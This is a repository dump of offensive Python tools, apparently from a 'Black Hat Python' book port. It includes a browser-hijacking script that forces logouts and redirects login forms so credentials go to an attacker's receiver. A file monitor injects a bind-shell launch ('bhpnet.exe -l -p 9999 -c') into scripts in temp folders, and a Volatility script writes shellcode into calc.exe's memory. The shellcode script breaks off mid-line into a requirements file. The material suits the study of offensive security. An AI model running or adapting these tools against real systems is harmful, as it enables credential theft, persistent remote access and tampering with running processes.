'{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' 30 | 31 | windows = win32com.client.Dispatch(clsid) 32 | 33 | 34 | def wait_for_browser(browser): 35 | # wait for the browser to finish loading a page 36 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 37 | time.sleep(0.1) 38 | return 39 | 40 | 41 | while True: 42 | for browser in windows: 43 | url = urllib.parse.urlparse(browser.LocationUrl) 44 | if url.hostname in target_sites: 45 | if target_sites[url.hostname]["owned"]: 46 | continue 47 | # if there is a URL we can just redirect 48 | if target_sites[url.hostname]["logout_url"]: 49 | browser.Navigate(target_sites[url.hostname]["logout_url"]) 50 | wait_for_browser(browser) 51 | else: 52 | # retrieve all elements in the document 53 | full_doc = browser.Document.all 54 | # iterate looking for the logout form 55 | for i in full_doc: 56 | try: 57 | # find the logout form and submit it 58 | if i.id == target_sites[url.hostname]["logout_form"]: 59 | i.submit() 60 | wait_for_browser(browser) 61 | except: 62 | pass 63 | try: 64 | # now we modify the login form 65 | login_index = target_sites[url.hostname]["login_form_index"] 66 | login_page = urllib.parse.quote(browser.LocationUrl) 67 | browser.Document.forms[login_index].action = "%s%s" % ( 68 | data_receiver, login_page) 69 | target_sites[url.hostname]["owned"] = True 70 | except: 71 | pass 72 | time.sleep(5) 73 | -------------------------------------------------------------------------------- /chapter10/bhvulnservice.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EONRaider/blackhat-python3/ae7c3e240fb0b275b9e14c04a7dea733b96faad0/chapter10/bhvulnservice.zip -------------------------------------------------------------------------------- /chapter10/file_monitor.py: -------------------------------------------------------------------------------- 1 | # Modified example that is originally given here: 2 | # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html 3 | import tempfile 4 | import threading 5 | import win32file 6 | import win32con 7 | import os 8 | 9 | # these are the common temp file directories 10 | dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()] 11 | 12 | # file modification constants 13 | FILE_CREATED = 1 14 | FILE_DELETED = 2 15 | FILE_MODIFIED = 3 16 | FILE_RENAMED_FROM = 4 17 | FILE_RENAMED_TO = 5 18 | 19 | # extension based code snippets to inject 20 | file_types = {} 21 | command = "C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c" 22 | file_types['.vbs'] = ["\r\n'bhpmarker\r\n", 23 | "\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" 24 | % command] 25 | file_types['.bat'] = ["\r\nREM bhpmarker\r\n", "\r\n%s\r\n" % command] 26 | file_types['.ps1'] = ["\r\n#bhpmarker", "Start-Process \"%s\"" % command] 27 | 28 | 29 | def inject_code(full_filename, extension, contents): 30 | # is our marker already in the file? 31 | if file_types[extension][0] in contents: 32 | return 33 | 34 | # no marker let's inject the marker and code 35 | full_contents = file_types[extension][0] 36 | full_contents += file_types[extension][1] 37 | full_contents += contents 38 | 39 | fd = open(full_filename, "wb") 40 | fd.write(full_contents.encode()) 41 | fd.close() 42 | 43 | print("[\o/] Injected code.") 44 | 45 | return 46 | 47 | 48 | def start_monitor(path_to_watch): 49 | # we create a thread for each monitoring run 50 | file_list_directory = 0x0001 51 | 52 | h_directory = win32file.CreateFile( 53 | path_to_watch, 54 | file_list_directory, 55 | win32con.FILE_SHARE_READ 56 | | win32con.FILE_SHARE_WRITE 57 | | win32con.FILE_SHARE_DELETE, 58 | None, 59 | win32con.OPEN_EXISTING, 60 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 61 | None) 62 | 63 | while 1: 64 | try: 65 | results = win32file.ReadDirectoryChangesW( 66 | h_directory, 67 | 1024, 68 | True, 69 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME | 70 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | 71 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | 72 | win32con.FILE_NOTIFY_CHANGE_SIZE | 73 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | 74 | win32con.FILE_NOTIFY_CHANGE_SECURITY, 75 | None, 76 | None 77 | ) 78 | 79 | for action, file_name in results: 80 | full_filename = os.path.join(path_to_watch, file_name) 81 | 82 | if action == FILE_CREATED: 83 | print("[ + ] Created %s" % full_filename) 84 | elif action == FILE_DELETED: 85 | print("[ - ] Deleted %s" % full_filename) 86 | elif action == FILE_MODIFIED: 87 | print("[ * ] Modified %s" % full_filename) 88 | 89 | # dump out the file contents 90 | print("[vvv] Dumping contents...") 91 | 92 | try: 93 | fd = open(full_filename, "rb") 94 | contents = fd.read() 95 | fd.close() 96 | print(contents) 97 | print("[^^^] Dump complete.") 98 | filename, extension = os.path.splitext(full_filename) 99 | if extension in file_types: 100 | inject_code(full_filename, extension, contents) 101 | except: 102 | print("[!!!] Failed.") 103 | 104 | elif action == FILE_RENAMED_FROM: 105 | print("[ > ] Renamed from: %s" % full_filename) 106 | elif action == FILE_RENAMED_TO: 107 | print("[ < ] Renamed to: %s" % full_filename) 108 | else: 109 | print("[???] Unknown: %s" % full_filename) 110 | except: 111 | pass 112 | 113 | 114 | for path in dirs_to_monitor: 115 | monitor_thread = threading.Thread(target=start_monitor, args=(path,)) 116 | print("Spawning monitoring thread for path: %s" % path) 117 | monitor_thread.start() 118 | -------------------------------------------------------------------------------- /chapter10/process_monitor.py: -------------------------------------------------------------------------------- 1 | import win32con 2 | import win32api 3 | import win32security 4 | import wmi 5 | import os 6 | 7 | LOG_FILE = "process_monitor_log.csv" 8 | 9 | 10 | def get_process_privileges(pid): 11 | try: 12 | # obtain a handle to the target process 13 | hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, 14 | False, 15 | pid) 16 | 17 | # open the main process token 18 | htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 19 | 20 | # retrieve the list of privileges enabled 21 | privs = win32security.GetTokenInformation( 22 | htok, 23 | win32security.TokenPrivileges) 24 | 25 | # iterate over privileges and output the ones that are enabled 26 | priv_list = [] 27 | for priv_id, priv_flags in privs: 28 | # check if the privilege is enabled 29 | if priv_flags == 3: 30 | priv_list.append( 31 | win32security.LookupPrivilegeName(None, priv_id)) 32 | 33 | except: 34 | priv_list.append("N/A") 35 | 36 | return "|".join(priv_list) 37 | 38 | 39 | def log_to_file(message): 40 | fd = open(LOG_FILE, "ab") 41 | fd.write("%s\r\n" % message) 42 | fd.close() 43 | return 44 | 45 | 46 | # create a log file header 47 | if not os.path.isfile(LOG_FILE): 48 | log_to_file("Time,User,Executable,CommandLine,PID,ParentPID,Privileges") 49 | 50 | # instantiate the WMI interface 51 | c = wmi.WMI() 52 | 53 | # create our process monitor 54 | process_watcher = c.Win32_Process.watch_for("creation") 55 | 56 | while True: 57 | try: 58 | new_process = process_watcher() 59 | proc_owner = new_process.GetOwner() 60 | proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2]) 61 | create_date = new_process.CreationDate 62 | executable = new_process.ExecutablePath 63 | cmdline = new_process.CommandLine 64 | pid = new_process.ProcessId 65 | parent_pid = new_process.ParentProcessId 66 | 67 | privileges = get_process_privileges(pid) 68 | 69 | process_log_message = "%s,%s,%s,%s,%s,%s,%s" % ( 70 | create_date, proc_owner, executable, cmdline, pid, parent_pid, 71 | privileges) 72 | 73 | print("%s\r\n" % process_log_message) 74 | 75 | log_to_file(process_log_message) 76 | except: 77 | pass 78 | -------------------------------------------------------------------------------- /chapter11/cmeasure.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EONRaider/blackhat-python3/ae7c3e240fb0b275b9e14c04a7dea733b96faad0/chapter11/cmeasure.bin -------------------------------------------------------------------------------- /chapter11/code_coverage.py: -------------------------------------------------------------------------------- 1 | from immlib import * 2 | 3 | 4 | class CcHook(LogBpHook): 5 | 6 | def __init__(self): 7 | LogBpHook.__init__(self) 8 | self.imm = Debugger() 9 | 10 | def run(self, regs): 11 | self.imm.log("%08x" % regs['EIP'], regs['EIP']) 12 | self.imm.deleteBreakpoint(regs['EIP']) 13 | return 14 | 15 | 16 | def main(args): 17 | imm = Debugger() 18 | 19 | calc = imm.getModule("calc.exe") 20 | imm.analyseCode(calc.getCodebase()) 21 | 22 | functions = imm.getAllFunctions(calc.getCodebase()) 23 | 24 | hooker = CcHook() 25 | 26 | for function in functions: 27 | hooker.add("%08x" % function, function) 28 | 29 | return "Tracking %d functions." % len(functions) 30 | -------------------------------------------------------------------------------- /chapter11/code_inject.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | import volatility.conf as conf 4 | import volatility.registry as registry 5 | import volatility.commands as commands 6 | import volatility.addrspace as addrspace 7 | import volatility.plugins.taskmods as taskmods 8 | 9 | equals_button = 0x01005D51 10 | 11 | memory_file = "/Users/justin/Documents/Virtual Machines.localized/" \ 12 | "Windows Server 2003 Standard Edition.vmwarevm/" \ 13 | "564d9400-1cb2-63d6-722b-4ebe61759abd.vmem" 14 | slack_space = None 15 | trampoline_offset = None 16 | 17 | # read in our shellcode 18 | sc_fd = open("cmeasure.bin", "rb") 19 | sc = sc_fd.read() 20 | sc_fd.close() 21 | 22 | sys.path.append("/Downloads/volatility-2.3.1") 23 | 24 | registry.PluginImporter() 25 | config = conf.ConfObject() 26 | 27 | registry.register_global_options(config, commands.Command) 28 | registry.register_global_options(config, addrspace.BaseAddressSpace) 29 | 30 | config.parse_options() 31 | config.PROFILE = "Win2003SP2x86" 32 | config.LOCATION = "file://%s" % memory_file 33 | 34 | p = taskmods.PSList(config) 35 | 36 | for process in p.calculate(): 37 | if str(process.ImageFileName) == "calc.exe": 38 | print("[*] Found calc.exe with PID %d" % process.UniqueProcessId) 39 | print("[*] Hunting for physical offsets...please wait.") 40 | 41 | address_space = process.get_process_address_space() 42 | pages = address_space.get_available_pages() 43 | 44 | for page in pages: 45 | physical = address_space.vtop(page[0]) 46 | if physical is not None: 47 | if slack_space is None: 48 | fd = open(memory_file, "r+") 49 | fd.seek(physical) 50 | buf = fd.read(page[1]) 51 | try: 52 | offset = buf.index("\x00" * len(sc)) 53 | slack_space = page[0] + offset 54 | 55 | print("[*] Found good shellcode location!") 56 | print("[*] Virtual address: 0x%08x" % slack_space) 57 | print("[*] Physical address: 0x%08x" % ( 58 | physical + offset)) 59 | print("[*] Injecting shellcode.") 60 | 61 | fd.seek(physical + offset) 62 | fd.write(sc.decode()) 63 | fd.flush() 64 | 65 | # create our trampoline 66 | tramp = "\xbb%s" % struct.pack("=3.2 4 | paramiko~=2.7.1 5 | pycparser~=2.20 6 | PyNaCl~=1.4.0 7 | six~=1.15.0 8 | kamene~=0.32 9 | opencv-python~=4.5.1.48 10 | github3.py~=1.3.0 11 | crypto~=1.4.1 --------------------------------------------------------------------------------